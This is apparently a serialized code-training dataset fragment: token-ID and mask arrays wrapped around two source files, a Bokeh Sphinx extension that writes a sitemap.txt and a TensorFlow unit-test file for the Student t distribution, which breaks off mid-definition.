32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
philippjfr/bokeh
bokeh/sphinxext/bokeh_sitemap.py
9
1661
""" Generate a ``sitemap.txt`` to aid with search indexing. ``sitemap.txt`` is a plain text list of all the pages in the docs site. Each URL is listed on a line in the text file. It is machine readable and used by search engines to know what pages are available for indexing. All that is required to generate the sitemap is to list this module ``bokeh.sphinxext.sitemap`` in the list of extensions in the Sphinx configuration file ``conf.py``. """ from __future__ import absolute_import from os.path import join from sphinx.errors import SphinxError from sphinx.util import console def html_page_context(app, pagename, templatename, context, doctree): """ Collect page names for the sitemap as HTML pages are built. """ site = context['SITEMAP_BASE_URL'] version = context['version'] app.sitemap_links.add(site + version + '/' + pagename + ".html") def build_finished(app, exception): """ Generate a ``sitemap.txt`` from the collected HTML page links. """ filename = join(app.outdir, "sitemap.txt") links_iter = app.status_iterator(sorted(app.sitemap_links), 'adding links to sitemap... ', console.brown, len(app.sitemap_links)) try: with open(filename, 'w') as f: for link in links_iter: f.write("%s\n" % link) except OSError as e: raise SphinxError('cannot write sitemap.txt, reason: %s' % e) def setup(app): app.connect('html-page-context', html_page_context) app.connect('build-finished', build_finished) app.sitemap_links = set()
bsd-3-clause
[ 624, 7958, 282, 1124, 17205, 14, 2424, 1040, 370, 23939, 543, 2754, 16356, 14, 199, 199, 1040, 17205, 14, 2424, 1040, 365, 282, 8971, 1318, 769, 402, 1006, 314, 6497, 315, 314, 9149, 4770, 14, 199, 22321, 2851, 365, 10532, 641, 282, 1004, 315, 314, 1318, 570, 14, 2779, 365, 6844, 12701, 199, 460, 1202, 701, 2754, 28156, 370, 5715, 4052, 6497, 787, 2808, 367, 16356, 14, 199, 199, 2422, 626, 365, 1415, 370, 3550, 314, 25121, 365, 370, 769, 642, 859, 199, 1040, 656, 16610, 14, 8008, 832, 14, 17205, 1040, 315, 314, 769, 402, 5478, 315, 314, 10229, 199, 4758, 570, 1124, 2190, 14, 647, 4345, 199, 199, 624, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 504, 747, 14, 515, 492, 4263, 199, 199, 504, 15882, 14, 2550, 492, 10229, 547, 199, 504, 15882, 14, 1974, 492, 8559, 199, 199, 318, 3517, 63, 1606, 63, 1100, 8, 571, 12, 9881, 17604, 12, 1978, 354, 12, 1067, 12, 886, 16970, 304, 272, 408, 19649, 2034, 1561, 367, 314, 25121, 465, 4163, 6497, 787, 6137, 14, 339, 408, 272, 4770, 275, 1067, 459, 51, 10439, 1282, 63, 5825, 63, 2632, 418, 272, 1015, 275, 1067, 459, 1023, 418, 272, 1145, 14, 17205, 63, 4614, 14, 525, 8, 2124, 435, 1015, 435, 7324, 435, 9881, 17604, 435, 3680, 1360, 531, 199, 199, 318, 1900, 63, 8669, 8, 571, 12, 1919, 304, 272, 408, 7958, 282, 1124, 17205, 14, 2424, 1040, 687, 314, 13736, 4163, 2034, 6220, 14, 339, 408, 272, 1788, 275, 4263, 8, 571, 14, 18091, 12, 298, 17205, 14, 2424, 531, 339, 6220, 63, 1661, 275, 1145, 14, 1205, 63, 5778, 8, 5917, 8, 571, 14, 17205, 63, 4614, 395, 3660, 283, 4095, 6220, 370, 25121, 1396, 1656, 3660, 8559, 14, 27133, 12, 3660, 822, 8, 571, 14, 17205, 63, 4614, 430, 339, 862, 26, 267, 543, 1551, 8, 1501, 12, 283, 87, 358, 465, 289, 26, 288, 367, 2142, 315, 6220, 63, 1661, 26, 355, 289, 14, 952, 3647, 83, 60, 78, 2, 450, 2142, 9, 272, 871, 6440, 465, 325, 26, 267, 746, 10229, 547, 360, 11250, 2218, 25121, 14, 2424, 12, 4499, 26, 450, 83, 7, 450, 325, 9, 199, 199, 318, 3272, 8, 571, 304, 272, 1145, 14, 2242, 360, 1360, 13, 1606, 13, 1100, 297, 3517, 63, 1606, 63, 1100, 9, 272, 1145, 14, 2242, 360, 1506, 13, 8669, 297, 259, 1900, 63, 8669, 9, 272, 1145, 14, 17205, 63, 4614, 275, 663, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 7958, 282, 1124, 17205, 14, 2424, 1040, 370, 23939, 543, 2754, 16356, 14, 199, 199, 1040, 17205, 14, 2424, 1040, 365, 282, 8971, 1318, 769, 402, 1006, 314, 6497, 315, 314, 9149, 4770, 14, 199, 22321, 2851, 365, 10532, 641, 282, 1004, 315, 314, 1318, 570, 14, 2779, 365, 6844, 12701, 199, 460, 1202, 701, 2754, 28156, 370, 5715, 4052, 6497, 787, 2808, 367, 16356, 14, 199, 199, 2422, 626, 365, 1415, 370, 3550, 314, 25121, 365, 370, 769, 642, 859, 199, 1040, 656, 16610, 14, 8008, 832, 14, 17205, 1040, 315, 314, 769, 402, 5478, 315, 314, 10229, 199, 4758, 570, 1124, 2190, 14, 647, 4345, 199, 199, 624, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 504, 747, 14, 515, 492, 4263, 199, 199, 504, 15882, 14, 2550, 492, 10229, 547, 199, 504, 15882, 14, 1974, 492, 8559, 199, 199, 318, 3517, 63, 1606, 63, 1100, 8, 571, 12, 9881, 17604, 12, 1978, 354, 12, 1067, 12, 886, 16970, 304, 272, 408, 19649, 2034, 1561, 367, 314, 25121, 465, 4163, 6497, 787, 6137, 14, 339, 408, 272, 4770, 275, 1067, 459, 51, 10439, 1282, 63, 5825, 63, 2632, 418, 272, 1015, 275, 1067, 459, 1023, 418, 272, 1145, 14, 17205, 63, 4614, 14, 525, 8, 2124, 435, 1015, 435, 7324, 435, 9881, 17604, 435, 3680, 1360, 531, 199, 199, 318, 1900, 63, 8669, 8, 571, 12, 1919, 304, 272, 408, 7958, 282, 1124, 17205, 14, 2424, 1040, 687, 314, 13736, 4163, 2034, 6220, 14, 339, 408, 272, 1788, 275, 4263, 8, 571, 14, 18091, 12, 298, 17205, 14, 2424, 531, 339, 6220, 63, 1661, 275, 1145, 14, 1205, 63, 5778, 8, 5917, 8, 571, 14, 17205, 63, 4614, 395, 3660, 283, 4095, 6220, 370, 25121, 1396, 1656, 3660, 8559, 14, 27133, 12, 3660, 822, 8, 571, 14, 17205, 63, 4614, 430, 339, 862, 26, 267, 543, 1551, 8, 1501, 12, 283, 87, 358, 465, 289, 26, 288, 367, 2142, 315, 6220, 63, 1661, 26, 355, 289, 14, 952, 3647, 83, 60, 78, 2, 450, 2142, 9, 272, 871, 6440, 465, 325, 26, 267, 746, 10229, 547, 360, 11250, 2218, 25121, 14, 2424, 12, 4499, 26, 450, 83, 7, 450, 325, 9, 199, 199, 318, 3272, 8, 571, 304, 272, 1145, 14, 2242, 360, 1360, 13, 1606, 13, 1100, 297, 3517, 63, 1606, 63, 1100, 9, 272, 1145, 14, 2242, 360, 1506, 13, 8669, 297, 259, 1900, 63, 8669, 9, 272, 1145, 14, 17205, 63, 4614, 275, 663, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
shakamunyi/tensorflow
tensorflow/python/kernel_tests/distributions/student_t_test.py
76
19957
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for Student t distribution.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import importlib import math import numpy as np from tensorflow.python.framework import constant_op from tensorflow.python.framework import random_seed from tensorflow.python.ops import math_ops from tensorflow.python.ops import nn_ops from tensorflow.python.ops.distributions import student_t from tensorflow.python.platform import test from tensorflow.python.platform import tf_logging def try_import(name): # pylint: disable=invalid-name module = None try: module = importlib.import_module(name) except ImportError as e: tf_logging.warning("Could not import %s: %s" % (name, str(e))) return module stats = try_import("scipy.stats") class StudentTTest(test.TestCase): def testStudentPDFAndLogPDF(self): with self.test_session(): batch_size = 6 df = constant_op.constant([3.] * batch_size) mu = constant_op.constant([7.] * batch_size) sigma = constant_op.constant([8.] * batch_size) df_v = 3. mu_v = 7. sigma_v = 8. t = np.array([-2.5, 2.5, 8., 0., -1., 2.], dtype=np.float32) student = student_t.StudentT(df, loc=mu, scale=-sigma) log_pdf = student.log_prob(t) self.assertEquals(log_pdf.get_shape(), (6,)) log_pdf_values = log_pdf.eval() pdf = student.prob(t) self.assertEquals(pdf.get_shape(), (6,)) pdf_values = pdf.eval() if not stats: return expected_log_pdf = stats.t.logpdf(t, df_v, loc=mu_v, scale=sigma_v) expected_pdf = stats.t.pdf(t, df_v, loc=mu_v, scale=sigma_v) self.assertAllClose(expected_log_pdf, log_pdf_values) self.assertAllClose(np.log(expected_pdf), log_pdf_values) self.assertAllClose(expected_pdf, pdf_values) self.assertAllClose(np.exp(expected_log_pdf), pdf_values) def testStudentLogPDFMultidimensional(self): with self.test_session(): batch_size = 6 df = constant_op.constant([[1.5, 7.2]] * batch_size) mu = constant_op.constant([[3., -3.]] * batch_size) sigma = constant_op.constant([[-math.sqrt(10.), math.sqrt(15.)]] * batch_size) df_v = np.array([1.5, 7.2]) mu_v = np.array([3., -3.]) sigma_v = np.array([np.sqrt(10.), np.sqrt(15.)]) t = np.array([[-2.5, 2.5, 4., 0., -1., 2.]], dtype=np.float32).T student = student_t.StudentT(df, loc=mu, scale=sigma) log_pdf = student.log_prob(t) log_pdf_values = log_pdf.eval() self.assertEqual(log_pdf.get_shape(), (6, 2)) pdf = student.prob(t) pdf_values = pdf.eval() self.assertEqual(pdf.get_shape(), (6, 2)) if not stats: return expected_log_pdf = stats.t.logpdf(t, df_v, loc=mu_v, scale=sigma_v) expected_pdf = stats.t.pdf(t, df_v, loc=mu_v, scale=sigma_v) self.assertAllClose(expected_log_pdf, log_pdf_values) self.assertAllClose(np.log(expected_pdf), log_pdf_values) self.assertAllClose(expected_pdf, pdf_values) self.assertAllClose(np.exp(expected_log_pdf), pdf_values) def testStudentCDFAndLogCDF(self): with self.test_session(): batch_size = 6 df = constant_op.constant([3.] * batch_size) mu = constant_op.constant([7.] * batch_size) sigma = constant_op.constant([-8.] * batch_size) df_v = 3. mu_v = 7. sigma_v = 8. t = np.array([-2.5, 2.5, 8., 0., -1., 2.], dtype=np.float32) student = student_t.StudentT(df, loc=mu, scale=sigma) log_cdf = student.log_cdf(t) self.assertEquals(log_cdf.get_shape(), (6,)) log_cdf_values = log_cdf.eval() cdf = student.cdf(t) self.assertEquals(cdf.get_shape(), (6,)) cdf_values = cdf.eval() if not stats: return expected_log_cdf = stats.t.logcdf(t, df_v, loc=mu_v, scale=sigma_v) expected_cdf = stats.t.cdf(t, df_v, loc=mu_v, scale=sigma_v) self.assertAllClose(expected_log_cdf, log_cdf_values, atol=0., rtol=1e-5) self.assertAllClose( np.log(expected_cdf), log_cdf_values, atol=0., rtol=1e-5) self.assertAllClose(expected_cdf, cdf_values, atol=0., rtol=1e-5) self.assertAllClose( np.exp(expected_log_cdf), cdf_values, atol=0., rtol=1e-5) def testStudentEntropy(self): df_v = np.array([[2., 3., 7.]]) # 1x3 mu_v = np.array([[1., -1, 0]]) # 1x3 sigma_v = np.array([[1., -2., 3.]]).T # transposed => 3x1 with self.test_session(): student = student_t.StudentT(df=df_v, loc=mu_v, scale=sigma_v) ent = student.entropy() ent_values = ent.eval() # Help scipy broadcast to 3x3 ones = np.array([[1, 1, 1]]) sigma_bc = np.abs(sigma_v) * ones mu_bc = ones.T * mu_v df_bc = ones.T * df_v if not stats: return expected_entropy = stats.t.entropy( np.reshape(df_bc, [-1]), loc=np.reshape(mu_bc, [-1]), scale=np.reshape(sigma_bc, [-1])) expected_entropy = np.reshape(expected_entropy, df_bc.shape) self.assertAllClose(expected_entropy, ent_values) def testStudentSample(self): with self.test_session(): df = constant_op.constant(4.) mu = constant_op.constant(3.) sigma = constant_op.constant(-math.sqrt(10.)) df_v = 4. mu_v = 3. sigma_v = np.sqrt(10.) n = constant_op.constant(200000) student = student_t.StudentT(df=df, loc=mu, scale=sigma) samples = student.sample(n, seed=123456) sample_values = samples.eval() n_val = 200000 self.assertEqual(sample_values.shape, (n_val,)) self.assertAllClose(sample_values.mean(), mu_v, rtol=1e-2, atol=0) self.assertAllClose( sample_values.var(), sigma_v**2 * df_v / (df_v - 2), rtol=1e-2, atol=0) self._checkKLApprox(df_v, mu_v, sigma_v, sample_values) # Test that sampling with the same seed twice gives the same results. def testStudentSampleMultipleTimes(self): with self.test_session(): df = constant_op.constant(4.) mu = constant_op.constant(3.) sigma = constant_op.constant(math.sqrt(10.)) n = constant_op.constant(100) random_seed.set_random_seed(654321) student = student_t.StudentT( df=df, loc=mu, scale=sigma, name="student_t1") samples1 = student.sample(n, seed=123456).eval() random_seed.set_random_seed(654321) student2 = student_t.StudentT( df=df, loc=mu, scale=sigma, name="student_t2") samples2 = student2.sample(n, seed=123456).eval() self.assertAllClose(samples1, samples2) def testStudentSampleSmallDfNoNan(self): with self.test_session(): df_v = [1e-1, 1e-5, 1e-10, 1e-20] df = constant_op.constant(df_v) n = constant_op.constant(200000) student = student_t.StudentT(df=df, loc=1., scale=1.) samples = student.sample(n, seed=123456) sample_values = samples.eval() n_val = 200000 self.assertEqual(sample_values.shape, (n_val, 4)) self.assertTrue(np.all(np.logical_not(np.isnan(sample_values)))) def testStudentSampleMultiDimensional(self): with self.test_session(): batch_size = 7 df = constant_op.constant([[3., 7.]] * batch_size) mu = constant_op.constant([[3., -3.]] * batch_size) sigma = constant_op.constant([[math.sqrt(10.), math.sqrt(15.)]] * batch_size) df_v = [3., 7.] mu_v = [3., -3.] sigma_v = [np.sqrt(10.), np.sqrt(15.)] n = constant_op.constant(200000) student = student_t.StudentT(df=df, loc=mu, scale=sigma) samples = student.sample(n, seed=123456) sample_values = samples.eval() self.assertEqual(samples.get_shape(), (200000, batch_size, 2)) self.assertAllClose( sample_values[:, 0, 0].mean(), mu_v[0], rtol=1e-2, atol=0) self.assertAllClose( sample_values[:, 0, 0].var(), sigma_v[0]**2 * df_v[0] / (df_v[0] - 2), rtol=1e-1, atol=0) self._checkKLApprox(df_v[0], mu_v[0], sigma_v[0], sample_values[:, 0, 0]) self.assertAllClose( sample_values[:, 0, 1].mean(), mu_v[1], rtol=1e-2, atol=0) self.assertAllClose( sample_values[:, 0, 1].var(), sigma_v[1]**2 * df_v[1] / (df_v[1] - 2), rtol=1e-1, atol=0) self._checkKLApprox(df_v[0], mu_v[0], sigma_v[0], sample_values[:, 0, 1]) def _checkKLApprox(self, df, mu, sigma, samples): n = samples.size np.random.seed(137) if not stats: return sample_scipy = stats.t.rvs(df, loc=mu, scale=sigma, size=n) covg = 0.99 r = stats.t.interval(covg, df, loc=mu, scale=sigma) bins = 100 hist, _ = np.histogram(samples, bins=bins, range=r) hist_scipy, _ = np.histogram(sample_scipy, bins=bins, range=r) self.assertGreater(hist.sum(), n * (covg - .01)) self.assertGreater(hist_scipy.sum(), n * (covg - .01)) hist_min1 = hist + 1. # put at least one item in each bucket hist_norm = hist_min1 / hist_min1.sum() hist_scipy_min1 = hist_scipy + 1. # put at least one item in each bucket hist_scipy_norm = hist_scipy_min1 / hist_scipy_min1.sum() kl_appx = np.sum(np.log(hist_scipy_norm / hist_norm) * hist_scipy_norm) self.assertLess(kl_appx, 1) def testBroadcastingParams(self): def _check(student): self.assertEqual(student.mean().get_shape(), (3,)) self.assertEqual(student.variance().get_shape(), (3,)) self.assertEqual(student.entropy().get_shape(), (3,)) self.assertEqual(student.log_prob(2.).get_shape(), (3,)) self.assertEqual(student.prob(2.).get_shape(), (3,)) self.assertEqual(student.sample(37, seed=123456).get_shape(), (37, 3,)) _check(student_t.StudentT(df=[2., 3., 4.,], loc=2., scale=1.)) _check(student_t.StudentT(df=7., loc=[2., 3., 4.,], scale=1.)) _check(student_t.StudentT(df=7., loc=3., scale=[2., 3., 4.,])) def 